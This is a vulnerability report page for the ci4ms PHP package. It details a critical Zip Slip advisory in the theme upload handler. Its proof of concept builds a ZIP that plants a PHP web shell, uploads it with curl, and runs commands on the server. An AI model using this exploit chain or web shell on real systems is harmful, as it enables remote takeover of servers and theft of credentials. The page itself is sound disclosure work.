packagist package report

Is ci4-cms-erp/ci4ms safe?

36 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    dependents not yet indexed for this ecosystem

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so packagist packages are not covered.


      cvss
      9.4
      critical

      CVSS v4.0 base score out of 10

      epss
      0.62%
      medium

      chance of exploitation in 30 days, 50th percentile of all CVEs

      xyz score
      4.0
      medium

      CyberXYZ composite out of 10

      fig. 01 — GHSA-xv3r-vr59-95rg, the advisory selected below

      // 36 advisories

      GHSA-xv3r-vr59-95rg

      CRITICALGitHub ratingCVE-2026-41203
      // summary

      ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

      // details

      modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

      public function upload()
      {
          $valData = ([
              'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
          ]);
          if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
          $file = $this->request->getFile('theme');
          $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
          $zip = new \ZipArchive();
          if ($zip->open($file->getTempName()) === true) {
              $zip->extractTo($tempPath);     // no entry-name validation
              $zip->close();
          } ...
          $log = install_theme_from_tmp($themeName);
          ...
      }

      A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

      Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

      A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

      // poc

      Build the archive:

      python3 -c "
      import zipfile
      with zipfile.ZipFile('evil_theme.zip','w') as z:
          z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
          z.writestr('info.xml', '<theme name=\"x\"/>')
      "

      Upload through the Theme manager with an authenticated session that has theme create:

      curl -i -b 'ci4ms_session=<SESSION_ID>' \
        -F 'theme=@evil_theme.zip' \
        https://target.example.com/backend/themes/themesUpload

      Trigger the shell:

      curl 'https://target.example.com/shell.php?c=id'
      # uid=33(www-data) gid=33(www-data) groups=33(www-data)
      // impact

      Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

      // cvss v4.0 vector

      CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

      Attack vector
      Network
      Attack complexity
      Low
      Attack requirements
      None
      Privileges required
      Low
      User interaction
      None
      Confidentiality (vulnerable system)
      High
      Integrity (vulnerable system)
      High
      Availability (vulnerable system)
      High
      Confidentiality (subsequent systems)
      High
      Integrity (subsequent systems)
      High
      Availability (subsequent systems)
      High

      Checked 2026-11-07 at 21:49 UTC. The most recent advisory here was published 2026-05-18. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.